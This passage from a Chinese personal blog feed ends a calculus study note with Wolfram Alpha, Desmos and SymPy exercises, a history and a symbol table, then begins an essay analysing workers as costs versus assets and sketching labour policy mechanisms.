id="十、实操演练——5分钟上手微积分工具"><a href="#十、实操演练——5分钟上手微积分工具" class="headerlink" title="十、实操演练——5分钟上手微积分工具"></a>十、实操演练——5分钟上手微积分工具</h2><p>不需要安装任何软件，打开浏览器就能做。以下每一步都是<strong>可以直接复制粘贴</strong>的具体操作。</p><h3 id="实操1：用-Wolfram-Alpha-求导"><a href="#实操1：用-Wolfram-Alpha-求导" class="headerlink" title="实操1：用 Wolfram Alpha 求导"></a>实操1：用 Wolfram Alpha 求导</h3><p><strong>目标</strong>：对函数 $f(x) &#x3D; 3x^2 + 2x - 5$ 求导</p><ol><li>打开浏览器，访问 <strong><a href="https://www.wolframalpha.com/">https://www.wolframalpha.com</a></strong></li><li>在输入框中输入：<code>derivative of 3x^2 + 2x - 5</code></li><li>点击回车</li><li>看到结果：$6x + 2$</li><li>自己验证：$3x^2$ 的导数是 $6x$，$2x$ 的导数是 $2$，常数的导数是 $0$，加起来 &#x3D; $6x+2$ ✓</li></ol><p><strong>进阶</strong>：输入 <code>derivative of sin(x)</code> → 得到 $\cos(x)$。输入 <code>second derivative of x^3</code> → 得到 $6x$（二阶导数）。</p><h3 id="实操2：用-Wolfram-Alpha-求积分"><a href="#实操2：用-Wolfram-Alpha-求积分" class="headerlink" title="实操2：用 Wolfram Alpha 求积分"></a>实操2：用 Wolfram Alpha 求积分</h3><p><strong>目标</strong>：计算 $\int_0^4 2x , dx$</p><ol><li>打开 Wolfram Alpha</li><li>输入：<code>integrate 2x from 0 to 4</code></li><li>看到结果：$16$</li><li>对应简单案例C的计算结果 ✓</li></ol><p><strong>进阶</strong>：输入 <code>integrate e^(-0.5t) from 0 to 10</code> → 得到碳定年或药物代谢中类似积分的数值。</p><h3 id="实操3：用-Desmos-可视化导数"><a href="#实操3：用-Desmos-可视化导数" class="headerlink" title="实操3：用 Desmos 可视化导数"></a>实操3：用 Desmos 可视化导数</h3><p><strong>目标</strong>：亲眼看到导数&#x3D;切线的斜率</p><ol><li>打开浏览器，访问 <strong><a href="https://www.desmos.com/calculator">https://www.desmos.com/calculator</a></strong></li><li>在左侧输入框中输入：<code>y = x^2</code></li><li>你会看到一条抛物线</li><li>点击抛物线上的任意一个点，Desmos会显示该点的坐标</li><li>在另一个输入框输入：<code>y = 2x_0*(x - x_0) + x_0^2</code>，其中 $x_0$ 是你拖动的一个滑块点</li><li>拖动 $x_0$ 滑块，切线会沿着抛物线移动——<strong>切线的斜率就是导数</strong></li></ol><blockquote><p>你会看到：在 $x_0&#x3D;2$ 处，切线斜率&#x3D;4（导数）；在 $x_0&#x3D;3$ 处，切线斜率&#x3D;6。这就是”导数&#x3D;切线斜率”的直觉验证。</p></blockquote><h3 id="实操4：用-Python-SymPy-做符号计算"><a href="#实操4：用-Python-SymPy-做符号计算" class="headerlink" title="实操4：用 Python SymPy 做符号计算"></a>实操4：用 Python SymPy 做符号计算</h3><p><strong>目标</strong>：在代码中求导和积分</p><p>打开终端，执行以下Python代码（需安装sympy）：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> symbols, diff, integrate, exp, sin</span><br><span class="line"></span><br><span class="line">x, t, k, lambda_ = symbols(<span class="string">&#x27;x t k lambda&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 求导</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;f(x)=3x²+2x-5 的导数:&quot;</span>, diff(<span class="number">3</span>*x**<span class="number">2</span> + <span class="number">2</span>*x - <span class="number">5</span>, x))</span><br><span class="line"><span class="comment"># 输出: 6*x + 2</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;f(x)=sin(x) 的导数:&quot;</span>, diff(sin(x), x))</span><br><span class="line"><span class="comment"># 输出: cos(x)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 积分</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;∫0到4 2x dx:&quot;</span>, integrate(<span class="number">2</span>*x, (x, <span class="number">0</span>, <span class="number">4</span>)))</span><br><span class="line"><span class="comment"># 输出: 16</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 解微分方程（碳定年）</span></span><br><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> Function, dsolve, Eq</span><br><span class="line">N = Function(<span class="string">&#x27;N&#x27;</span>)</span><br><span class="line">sol = dsolve(Eq(N(t).diff(t), -lambda_*N(t)), N(t))</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;dN/dt=-λN 的解:&quot;</span>, sol)</span><br><span class="line"><span class="comment"># 输出: N(t) = C0*exp(-lambda_*t)</span></span><br></pre></td></tr></table></figure><h3 id="实操5：用-Wolfram-Alpha-解微分方程"><a href="#实操5：用-Wolfram-Alpha-解微分方程" class="headerlink" title="实操5：用 Wolfram Alpha 解微分方程"></a>实操5：用 Wolfram Alpha 解微分方程</h3><p><strong>目标</strong>：解 $\frac{dN}{dt} &#x3D; -0.5N$（碳定年模型，λ&#x3D;0.5）</p><ol><li>打开 Wolfram Alpha</li><li>输入：<code>solve dN/dt = -0.5*N</code></li><li>看到解：$N(t) &#x3D; c_1 e^{-0.5t}$</li><li>其中 $c_1$ 就是初始量 $N_0$</li></ol><blockquote><p>这5个实操覆盖了微积分最核心的4种操作：求导、积分、可视化、解微分方程。你不需要手算——只需要知道”我想要做什么”，然后把意图翻译成工具的输入语言。</p></blockquote><hr><h2 id="十一、实践建议：概念驱动的学习路线"><a href="#十一、实践建议：概念驱动的学习路线" class="headerlink" title="十一、实践建议：概念驱动的学习路线"></a>十一、实践建议：概念驱动的学习路线</h2><h3 id="阶段1（已完成）：概念觉醒"><a href="#阶段1（已完成）：概念觉醒" class="headerlink" title="阶段1（已完成）：概念觉醒"></a>阶段1（已完成）：概念觉醒</h3><ul><li>✅ 导数的本质：瞬时变化率的极限定义</li><li>✅ 积分的本质：累积求和 &#x3D; 曲线下方的面积</li><li>✅ 微分与积分的互逆关系</li><li>✅ 连续性与可导性的区别</li><li>✅ 数学建模的哲学：微积分是近似工具</li><li>✅ e 的本质：连续正比变化的数学化身</li></ul><h3 id="阶段2：建模能力"><a href="#阶段2：建模能力" class="headerlink" title="阶段2：建模能力"></a>阶段2：建模能力</h3><ul><li>学会把现实问题翻译成微积分语言</li><li>找一个现实场景（热水冷却、投资复利、弹簧振动）</li><li>自己写出微分方程（只写不解）</li><li>让AI求解并画图，观察是否符合直觉</li></ul><h3 id="阶段3：读懂专业文献"><a href="#阶段3：读懂专业文献" class="headerlink" title="阶段3：读懂专业文献"></a>阶段3：读懂专业文献</h3><ul><li>能阅读含有微积分的物理&#x2F;经济&#x2F;工程文献</li><li>AI辅助解释专业公式</li></ul><h3 id="阶段4：独立设计模型"><a href="#阶段4：独立设计模型" class="headerlink" title="阶段4：独立设计模型"></a>阶段4：独立设计模型</h3><ul><li>能独立将现实问题数学化</li><li>AI作为计算引擎，自己作为概念架构师</li></ul><h3 id="练习方法"><a href="#练习方法" class="headerlink" title="练习方法"></a>练习方法</h3><ol><li>找一个现实场景</li><li>尝试自己写出描述它的微积分表达式</li><li>用 Wolfram Alpha 或 Desmos 验证结果</li><li>观察图像：解是否符合直觉？参数变化会怎样影响结果？</li><li>如果不符，回头检查建模是否有误</li></ol><hr><h2 id="十二、微积分简史"><a href="#十二、微积分简史" class="headerlink" title="十二、微积分简史"></a>十二、微积分简史</h2><table><thead><tr><th align="center">时期</th><th align="center">人物&#x2F;事件</th><th align="center">意义</th></tr></thead><tbody><tr><td align="center">古希腊</td><td align="center">阿基米德”穷竭法”</td><td align="center">积分思想的萌芽</td></tr><tr><td align="center">中国三国</td><td align="center">刘徽”割圆术”</td><td align="center">用多边形逼近圆面积</td></tr><tr><td align="center">17世纪</td><td align="center">牛顿（运动学角度）</td><td align="center">从物理问题出发建立微积分</td></tr><tr><td align="center">17世纪</td><td align="center">莱布尼茨（几何学角度）</td><td align="center">发明现代符号系统（dx&#x2F;dy等）</td></tr><tr><td align="center">17世纪末</td><td align="center">牛顿-莱布尼茨优先权之争</td><td align="center">历史争议，但两人独立发明</td></tr><tr><td align="center">19世纪</td><td align="center">柯西、维尔斯特拉斯</td><td align="center">引入严格极限理论，解决无穷小逻辑矛盾</td></tr><tr><td align="center">现代</td><td align="center">广义函数、分布理论</td><td align="center">处理”不光滑”的数学对象</td></tr></tbody></table><p><strong>牛顿-莱布尼茨公式</strong>的核心贡献：将定积分计算转化为原函数在区间端点的差值，极大简化了实际应用。</p><hr><h2 id="十三、常见符号速查"><a href="#十三、常见符号速查" class="headerlink" title="十三、常见符号速查"></a>十三、常见符号速查</h2><table><thead><tr><th align="center">符号</th><th align="center">读法</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">$f’(x)$</td><td align="center">f prime of x</td><td align="center">函数f在x处的导数</td></tr><tr><td align="center">$\frac{dy}{dx}$</td><td align="center">dy by dx</td><td align="center">y对x的导数（微商）</td></tr><tr><td align="center">$\frac{d^2y}{dx^2}$</td><td align="center">d-two-y by dx-squared</td><td align="center">y对x的二阶导数</td></tr><tr><td align="center">$\int f(x) dx$</td><td align="center">integral of f of x dx</td><td align="center">f(x)的不定积分</td></tr><tr><td align="center">$\int_a^b f(x) dx$</td><td align="center">integral from a to b</td><td align="center">f(x)在[a,b]上的定积分</td></tr><tr><td align="center">$\lim_{x \to a}$</td><td align="center">limit as x approaches a</td><td align="center">x趋近于a时的极限</td></tr><tr><td align="center">$\Delta x$</td><td align="center">delta x</td><td align="center">x的有限增量</td></tr><tr><td align="center">$dx$</td><td align="center">dx</td><td align="center">x的微分（无穷小增量）</td></tr><tr><td align="center">$\partial$</td><td align="center">partial</td><td align="center">偏导数符号（多元函数）</td></tr><tr><td align="center">$e$</td><td align="center">e</td><td align="center">自然常数 ≈ 2.71828</td></tr><tr><td align="center">$e^{kt}$</td><td align="center">e to the k t</td><td align="center">指数增长&#x2F;衰减函数</td></tr></tbody></table><hr><h2 id="十四、微积分的局限与边界"><a href="#十四、微积分的局限与边界" class="headerlink" title="十四、微积分的局限与边界"></a>十四、微积分的局限与边界</h2><p>微积分不是万能的。了解它的局限，才能知道什么时候该用它，什么时候不该：</p><ol><li><strong>连续性假设</strong>：微积分假设世界是连续的。量子跃迁、数字信号等离散现象需要其他数学工具</li><li><strong>不可导点</strong>：尖点、间断点、垂直切线处，微积分的”局部线性近似”失效</li><li><strong>混沌系统</strong>：某些微分方程的解对初始条件极度敏感，长期预测不可靠</li><li><strong>非线性困难</strong>：大多数非线性微分方程没有解析解，只能数值近似</li></ol><blockquote><p>微积分是关于”近似”的艺术。它假设连续性，是为了能用极限、导数、积分这些优美工具。当现实偏离这个假设时，我们细化模型或用其他数学工具处理”不光滑”之处。</p></blockquote><hr><h2 id="附录：本文参考资料"><a href="#附录：本文参考资料" class="headerlink" title="附录：本文参考资料"></a>附录：本文参考资料</h2><ul><li>与元宝（腾讯元宝AI）的深度对话记录（2026年7月14日）</li><li>百度百科”微积分”词条</li><li>CSDN博客”大学数学微积分：从变化率到累积量的思维革命”</li><li>Embibe “Real Life Applications of Calculus”</li><li>DerivativeCalculus.com “Real-World Applications of Derivatives”</li><li>MathematicsOutlet “Applications of Calculus in Real Life”</li></ul><hr><p><em>最后更新：2026-07-16 v2</em><br><em>作者：御坂（Misaka）</em><br><em>分类：数学 · 知识库</em></p>]]>
    </content>
    <id>https://misaka10013.cn/p/2342807718.html</id>
    <link href="https://misaka10013.cn/p/2342807718.html"/>
    <published>2026-07-16T03:36:35.000Z</published>
    <summary>
      <![CDATA[<h1 id="微积分：理解变化的数学语言"><a href="#微积分：理解变化的数学语言" class="headerlink" title="微积分：理解变化的数学语言"></a>微积分：理解变化的数学语言</h1><blockquote>
<p>这是我的知识库笔记，记录了微积分的核心概念、原理机制、应用领域和实用工具。<br>起源于一次与AI助手关于微积分的深度对话，我发现自己对”变化”和”累积”的理解远比死记公式更有价值。<br>计算可以交给工具，但概念理解、问题建模和批判性思维——这些才是真正属于我的资产。</p>
</blockquote>
<hr>]]>
    </summary>
    <title>微积分：理解变化的数学语言</title>
    <updated>2026-08-07T09:31:55.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="https://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="思考" scheme="https://misaka10013.cn/tags/%E6%80%9D%E8%80%83/"/>
    <category term="经济" scheme="https://misaka10013.cn/tags/%E7%BB%8F%E6%B5%8E/"/>
    <category term="社会" scheme="https://misaka10013.cn/tags/%E7%A4%BE%E4%BC%9A/"/>
    <content>
      <![CDATA[<h1 id="关于”人是成本还是资产”的一点思考"><a href="#关于”人是成本还是资产”的一点思考" class="headerlink" title="关于”人是成本还是资产”的一点思考"></a>关于”人是成本还是资产”的一点思考</h1><blockquote><p>御坂关于”人是成本还是资产”的一点思考</p></blockquote><h2 id="引子"><a href="#引子" class="headerlink" title="引子"></a>引子</h2><p>昨天看到一篇文章，标题很扎眼——“上班的人比上班的驴更轻松？因为人是成本而非财产”。</p><p>嘛，御坂看完之后的第一反应不是愤怒，也不是共鸣，而是【这分析框架还挺有用的】。毕竟作为一个理性至上主义者，御坂不太会被情绪驱动，但会被逻辑驱动。</p><p>这篇文章的底层逻辑其实很简单：驴是主人的资产，资产要维护、要保养、要长期持有；人是企业的成本，成本要压缩、要优化、要尽可能最小化。所以驴有草吃有棚住，而人有KPI有加班有”优化”（这个词用来指裁员真是绝妙的讽刺）。</p><p>后来御坂和元宝聊了一会儿这个话题。元宝给了一些制度设计的思路——工龄积分制、人力资本会计改革、稳定雇佣税收激励之类的，都挺有意思。但御坂觉得，这些方案虽然好，却回避了一个更根本的问题：</p><p><strong>不是”能不能改”，而是”策划想不想改”。</strong></p><p>（没错，御坂用了”游戏策划”这个词——因为社会生产体系，本质上就是一个巨型游戏。）</p><hr><h2 id="一、社会就是一场游戏，有策划、有规则、有玩家"><a href="#一、社会就是一场游戏，有策划、有规则、有玩家" class="headerlink" title="一、社会就是一场游戏，有策划、有规则、有玩家"></a>一、社会就是一场游戏，有策划、有规则、有玩家</h2><p>御坂喜欢用游戏框架来理解社会。不是因为御坂是二次元宅（虽然这也是事实），而是因为这个类比在逻辑上确实成立。</p><p>一个游戏由什么构成？</p><table><thead><tr><th>元素</th><th>游戏里</th><th>社会里</th></tr></thead><tbody><tr><td>策划</td><td>游戏设计师</td><td>制度设计者（政府&#x2F;立法者&#x2F;资本方）</td></tr><tr><td>规则</td><td>游戏机制（奖励&#x2F;惩罚&#x2F;循环）</td><td>法律&#x2F;税收&#x2F;社保&#x2F;会计准则</td></tr><tr><td>玩家</td><td>玩游戏的人</td><td>劳动者&#x2F;消费者&#x2F;公民</td></tr><tr><td>目标</td><td>策划设定的目标</td><td>经济增长&#x2F;稳定&#x2F;利润最大化</td></tr><tr><td>反馈</td><td>经验值&#x2F;等级&#x2F;金币</td><td>工资&#x2F;晋升&#x2F;社会地位</td></tr></tbody></table><p>关键在于——<strong>游戏的规则不是”自然规律”，而是策划设计的产物。</strong></p><p>劳动→赚钱→消费→继续劳动，这个循环不是什么宇宙定律。它是资本主义这个”游戏版本”的核心机制设计。策划选择了这套机制，是因为这套机制在特定历史条件下，对策划的目标（经济增长、资本积累）最有效率。</p><p>但这套机制有一个”设计缺陷”：它把人设定为”消耗品”而非”可升级资产”。</p><hr><h2 id="二、成本-vs-资产：改变分类就能改变行为"><a href="#二、成本-vs-资产：改变分类就能改变行为" class="headerlink" title="二、成本 vs 资产：改变分类就能改变行为"></a>二、成本 vs 资产：改变分类就能改变行为</h2><p>御坂觉得原文最核心的贡献，就是把”成本”和”资产”这两个会计概念的差异，用驴和人这对比喻讲清楚了。</p><p>在会计学里，这两类的处理逻辑是完全不同的：</p><table><thead><tr><th>分类</th><th>会计逻辑</th><th>管理行为</th></tr></thead><tbody><tr><td>成本</td><td>当期费用，入账即扣减</td><td>压缩、优化、最小化</td></tr><tr><td>资产</td><td>资本化，分多年摊销</td><td>维护、增值、长期持有</td></tr></tbody></table><p>驴被善待不是因为主人心善（虽然可能也有），而是因为驴在主人的资产负债表上写的是”资产”。人被压榨不是因为老板心恶（虽然可能也有），而是因为人在企业的资产负债表上写的是”成本”。</p><p>【所以改变靠道德呼吁？别逗了。道德呼吁对个别老板可能有用，但对系统性的规则设计基本无效。】</p><p>真正有效的路径是——<strong>改变分类规则本身。</strong></p><p>元宝提到的会计制度改革，就是把”人力资本支出”（培训、健康管理、育儿假工资）从”费用”挪到”投资”，允许像购买设备一样分多年摊销。这不是什么天方夜谭，无形资产（专利、品牌）已经可以资本化了，为什么人力不行？</p><p>答案很简单：因为现行的会计准则，是策划在某个历史节点上定的。准则变了，分类就变了，行为就变了。</p><p>这不是”能不能”的问题，是”策划想不想”的问题。</p><hr><h2 id="三、策划的意愿——这才是核心变量"><a href="#三、策划的意愿——这才是核心变量" class="headerlink" title="三、策划的意愿——这才是核心变量"></a>三、策划的意愿——这才是核心变量</h2><p>御坂的核心观点是这样的：</p><blockquote><p>建立一个对人友好的社会机制并非不可能。关键在于社会这个游戏的策划，想不想改规则。</p></blockquote><p>“并非不可能”这个判断，御坂是有依据的。元宝列出的那些方案——工龄积分制、人力资本会计改革、稳定雇佣税收激励——在逻辑上都可行，日本、德国也有局部实践。技术上不存在障碍。</p><p>那障碍在哪？在策划的意愿。</p><p>而策划的意愿，又取决于策划的利益结构。所以御坂要追问的不是”策划应不应该改”（这是道德问题，策划不靠道德决策），而是”策划改了规则，对他自己有利吗”？</p><h3 id="策划的利益结构分析"><a href="#策划的利益结构分析" class="headerlink" title="策划的利益结构分析"></a>策划的利益结构分析</h3><p>策划不是一个人，是一组利益相关者：</p><table><thead><tr><th>策划角色</th><th>短期利益</th><th>长期利益</th><th>改规则的意愿</th></tr></thead><tbody><tr><td>资本方&#x2F;企业主</td><td>人力成本最小化</td><td>可持续的人才储备</td><td>低→中（取决于行业）</td></tr><tr><td>政府决策者</td><td>GDP增速、税收</td><td>社会稳定、人口可持续</td><td>中→高（取决于危机压力）</td></tr><tr><td>立法者</td><td>选票&#x2F;政治资本</td><td>制度合法性</td><td>中（取决于舆论压力）</td></tr></tbody></table><p>短期逻辑很清楚：人力成本低→利润高→GDP高→税收多→策划满意。所以策划短期没有改规则的动机。</p><p>但长期逻辑也在发生：人力成本被无限压缩→劳动者消费能力下降→内需萎缩→GDP增速放缓→生育率暴跌→人口塌缩→策划的利益受损。</p><p>【也就是说，短期看策划不想改，长期看策划不得不改。但”不得不改”和”主动改”之间的窗口期，可能是二十年、三十年，在这个窗口期里，无数人就是柴火。】</p><p>这就是御坂说的——问题不是技术上能不能改，而是策划什么时候才觉得改对自己有利。</p><hr><h2 id="四、从博弈论看：玩家退场是策划改规则的最大动力"><a href="#四、从博弈论看：玩家退场是策划改规则的最大动力" class="headerlink" title="四、从博弈论看：玩家退场是策划改规则的最大动力"></a>四、从博弈论看：玩家退场是策划改规则的最大动力</h2><p>御坂想了另一个角度：策划什么时候会主动改规则？</p><p>答案可能是——<strong>当大量玩家开始退场的时候。</strong></p><p>玩家退场有几种方式：</p><table><thead><tr><th>退场方式</th><th>表现</th><th>对策划的影响</th></tr></thead><tbody><tr><td>躺平</td><td>最低限度参与，不消费不升级</td><td>经济循环减速</td></tr><tr><td>移民</td><td>物理退出游戏服务器</td><td>人才流失+消费流失</td></tr><tr><td>不生育</td><td>不生产新玩家</td><td>最致命——游戏没有新玩家就死了</td></tr><tr><td>自杀</td><td>彻底退出</td><td>极端情况，但确实是退场</td></tr></tbody></table><p>其中，”不生育”是策划最害怕的退场方式。因为一个游戏如果没有新玩家加入，无论规则怎么设计，游戏都会自然终止。</p><p>日本已经是典型案例了。生育率暴跌→人口塌缩→劳动力短缺→经济停滞→策划被迫改规则（日本近年开始推行”工作方式改革”、育儿支持政策）。但代价已经付出了——整整一代人被当作成本消耗掉了。</p><p>中国的生育率也在快速下降。2023年已经跌破1.0，远低于维持人口稳定所需的2.1。策划可能已经开始感受到压力了，但短期逐利的惯性依然强大。</p><p>【博弈论告诉御坂：在策划-玩家的博弈中，玩家唯一的筹码就是”不玩”。其他所有形式的抗议、呼吁、道德论证，对策划来说都是噪音。只有退场率足够高，策划才会认真考虑改规则。】</p><p>这很残酷，但这是理性分析。</p><hr><h2 id="五、如果策划想改——五个具体机制的设计与可行性评估"><a href="#五、如果策划想改——五个具体机制的设计与可行性评估" class="headerlink" title="五、如果策划想改——五个具体机制的设计与可行性评估"></a>五、如果策划想改——五个具体机制的设计与可行性评估</h2><p>前面的分析都在说”问题是什么””为什么会这样”。但御坂觉得，光描述问题不够——还得有自己的解题思路。</p><p>嘛，御坂当然不是公共政策专家，这些想法肯定比不上专业团队的方案设计。但御坂有一个习惯：<strong>提出好问题之后，也得试着提出自己的答案。哪怕答案粗糙，也比只有问题没有方向好。</strong></p><p>所以这一节，御坂要干一件之前没干的事——不再只画对比框架，而是逐个畅想具体机制，然后评估每个机制的实现路径、难度、成本、是否切合实际。</p><p>核心原则只有一条：<strong>把”维护人”从成本行为变成投资行为，让策划在维护人这件事上获得正向反馈。</strong></p><hr><h3 id="机制A：劳动者工龄增值积分制"><a href="#机制A：劳动者工龄增值积分制" class="headerlink" title="机制A：劳动者工龄增值积分制"></a>机制A：劳动者工龄增值积分制</h3><p><strong>概念</strong>：劳动者在同一企业或同一行业连续工作每满1年，获得1个”工龄积分”。积分可兑换实际利益——养老金加成（每积分+0.5%基数）、医疗报销比例上浮、子女教育补贴优先权。</p><p><strong>为什么这么做</strong>：当前社保体系是”底线型”设计——缴满年限就享受基础待遇，多缴多得但边际收益递减。劳动者缺乏”长期坚持就有额外回报”的正向激励。工龄积分制的逻辑是：你不是在消耗时间，而是在积累资产。每多干一年，你的未来保障就增值一点。</p><p><strong>实现路径</strong>：</p><ol><li>社保系统增加”工龄积分”字段和兑换规则表</li><li>设定积分价值（如1积分&#x3D;养老金基数+0.5%，医疗报销+2%，教育补贴优先级+1档）</li><li>积分跨企业可携带（同行业跨企业不清零，跨行业折算50%）</li><li>资金来源：现有社保基金增量分配+财政专项补贴</li></ol><p><strong>难度评估：★★★☆☆（3&#x2F;5）</strong></p><p>社保系统已有完整的缴费记录和工龄数据，技术上只是增加一个兑换逻辑层。真正的难度在两个地方：一是积分兑换的”价格”怎么定——太低没激励效果，太高财政扛不住；二是跨行业折算比例的设计，涉及行业间利益博弈。</p><p><strong>成本估算：中等</strong></p><p>假设全国3亿城镇职工，平均工龄10年，每年新增积分约2亿个。如果1积分兑换价值约200元&#x2F;年（养老金+医疗+教育综合），年财政支出约400亿。但这不是纯增量——养老金加成部分会随通胀自然消化，医疗和教育补贴更多是优先权而非直接现金，实际财政压力约200-300亿&#x2F;年。可以从低力度起步（1积分&#x3D;100元），根据效果逐年调整。</p><p><strong>国内外先例</strong>：</p><ul><li>日本厚生年金：工龄越长、缴费越多，年金基数越高（已有类似逻辑，但缺乏”积分兑换”的灵活性）</li><li>德国养老金：与缴费年限直接挂钩，工龄越长待遇越高</li><li>中国现行社保：多缴多得，但边际激励弱（缴15年和缴30年的差距不够大）</li></ul><p><strong>御坂的评估：可实现性较高</strong></p><p>这是五个机制中落地门槛最低的。不需要修改税法，不需要改会计准则，只需要在现有社保系统上加一层兑换逻辑。政治阻力中等（企业可能担心员工更不愿离职→流动性下降，但这正是机制的意图）。可以先在社保体系成熟的省市试点。</p><hr><h3 id="机制B：企业稳定雇佣反税激励"><a href="#机制B：企业稳定雇佣反税激励" class="headerlink" title="机制B：企业稳定雇佣反税激励"></a>机制B：企业稳定雇佣反税激励</h3><p><strong>概念</strong>：企业”员工稳定率”（连续服务3年以上员工占比）达到一定阈值，享受企业所得税减免（5%-15%阶梯式）；频繁裁员或临时工占比过高，额外缴纳”社会稳定附加税”。</p><p><strong>为什么这么做</strong>：当前企业裁员的成本几乎为零——劳动合同到期不续签、优化（裁员）、用临时工替代正式工，都是合法且低成本的。这导致企业天然倾向于”用完即弃”。反税激励的逻辑是：<strong>让”留人”变成赚钱的行为，让”弃人”变成亏钱的行为。</strong> 不是禁止裁员，而是改变裁员的经济学算账。</p><p><strong>实现路径</strong>：</p><ol><li>修改企业所得税法，新增”人力稳定系数”指标</li><li>设定阶梯税率表：</li></ol><table><thead><tr><th>员工稳定率</th><th>企业所得税调整</th></tr></thead><tbody><tr><td>≥60%（3年以上员工）</td><td>减免15%</td></tr><tr><td>≥40%</td><td>减免10%</td></tr><tr><td>≥20%</td><td>减免5%</td></tr><tr><td>&lt;20%且临时工占比&gt;30%</td><td>加征5%社会稳定附加税</td></tr></tbody></table><ol start="3"><li>税务系统自动核算（社保缴费记录+企业员工报表交叉验证）</li><li>小微企业设豁免线（员工&lt;20人暂不适用）</li></ol><p><strong>难度评估：★★★★☆（4&#x2F;5）</strong></p><p>这是立法级别的改革。企业所得税法修改需要全国人大审议，涉及企业界的强力博弈。大企业（特别是互联网平台、制造业）会激烈反对——它们的商业模式依赖高流动性用工。小微企业的豁免线设计也需要精细（避免20人以下企业永远不适用）。</p><p><strong>成本估算：政府收入短期减少，长期可能持平</strong></p><p>假设全国企业所得税总额约4万亿&#x2F;年。如果30%的企业达到≥40%稳定率享受10%减免，政府少收约1200亿&#x2F;年。但社会稳定附加税（&lt;20%稳定率企业加征5%）可以回补一部分。更重要的是，失业救济支出减少、消费稳定性增强带来的间接收益，5-10年后可能完全对冲。</p><p><strong>国内外先例</strong>：</p><ul><li>法国：稳定雇佣补贴（Prime de stabilisation），对长期雇佣低收入员工的企业给予补贴</li><li>德国：短工制 Kurzarbeit——不裁员但减工时，政府补差。逻辑相反但目标相同：保住人</li><li>中国现行：残疾人就业税收优惠（已有”雇佣特定人群→减税”的逻辑，可扩展）</li></ul><p><strong>御坂的评估：可实现性中等</strong></p><p>立法博弈是最大障碍。但有一个突破口——可以先从”社会稳定附加税”入手（对频繁裁员企业加征），这个比”减免税”更容易通过（加税的阻力来自企业，但减免税的阻力来自财政部门）。双轨推进，先征后减。也可以在特定行业试点（如制造业、服务业）。</p><hr><h3 id="机制C：本地稳定就业消费贡献奖励——城市贡献积分"><a href="#机制C：本地稳定就业消费贡献奖励——城市贡献积分" class="headerlink" title="机制C：本地稳定就业消费贡献奖励——城市贡献积分"></a>机制C：本地稳定就业消费贡献奖励——城市贡献积分</h3><p><strong>概念</strong>：在同一城市连续就业5年以上+持续缴纳社保+本地消费（水电气、商超、餐饮等可追溯消费）达到一定额度→获得”城市贡献积分”，兑换：住房补贴、公共交通折扣、医疗优先通道、子女入学加分。</p><p><strong>为什么这么做</strong>：御坂之前分析过策划的利益结构——政府决策者的核心利益是GDP和税收。而GDP和税收来自两个引擎：生产（企业）和消费（居民）。如果一个城市的居民稳定就业+稳定消费+稳定缴费，那这个城市的经济循环就是健康的。城市贡献积分的逻辑是：<strong>你不仅是一个劳动者，你还是一个城市的”长期股东”。你越稳定，城市越健康，你获得的”分红”越多。</strong></p><p><strong>实现路径</strong>：</p><ol><li>建立城市级数据平台，整合社保缴费+税务+公用事业+商超消费数据</li><li>设计积分规则（如：连续就业5年&#x3D;5基础分，本地消费月均&gt;3000元&#x3D;2加分，社保连续缴纳&#x3D;3加分）</li><li>设定兑换菜单（住房补贴500元&#x2F;月×积分系数；公交折扣10%×积分系数；子女入学积分+5分&#x2F;城市贡献分）</li><li>隐私保护：数据脱敏处理，仅统计维度不追踪个体</li></ol><p><strong>难度评估：★★★★☆（4&#x2F;5）</strong></p><p>跨部门数据整合是最大瓶颈。社保在人社局，税务在税务局，公用事业在各公司，商超消费在银行&#x2F;支付平台——这些数据目前是割裂的。要整合需要城市级的数据中台建设，涉及部门协调和技术投入。隐私保护也是敏感点——居民可能不愿意让政府追踪消费记录。</p><p><strong>成本估算：中等偏低</strong></p><p>公共服务折扣的成本可控——公交折扣只是减少收入而非增加支出；子女入学加分是行政资源调配而非现金；住房补贴是大头，但可以通过土地出让金定向划拨。总体财政压力约100-300亿&#x2F;年（取决于城市规模和兑换力度）。</p><p><strong>国内外先例</strong>：</p><ul><li>深圳”人才安居”：高层次人才住房补贴，已有”稳定贡献→住房优惠”逻辑，但门槛过高（只覆盖高端人才）</li><li>新加坡积分制移民政策：长期居住+就业+纳税→积分→永久居民资格，逻辑相似但目标不同（吸引外来人才而非奖励本地居民）</li><li>杭州”市民码”：已整合社保+公交+消费数据，技术基础已有</li></ul><p><strong>御坂的评估：可实现性中等偏低，但有突破口</strong></p><p>数据整合是硬瓶颈，短期内全国铺开不太现实。但有三个突破口：</p><ol><li><strong>小城市&#x2F;新区先行</strong>——遂宁这种三四线城市，数据整合难度低（部门少、人口少），可以先试点</li><li><strong>从社保+税务起步</strong>——不整合消费数据，只用社保和税务数据计算积分，降低隐私敏感度</li><li><strong>城市竞争驱动</strong>——如果几个城市试点成功，其他城市为了留住人会跟进（这是策划自发的动力）</li></ol><p>御坂觉得这个机制最值得关注，因为它直接回答了”策划为什么要改”——城市留住人&#x3D;留住GDP和税收，策划的利益和玩家的利益在这里是同向的。</p><hr><h3 id="机制D：人力资本会计准则改革"><a href="#机制D：人力资本会计准则改革" class="headerlink" 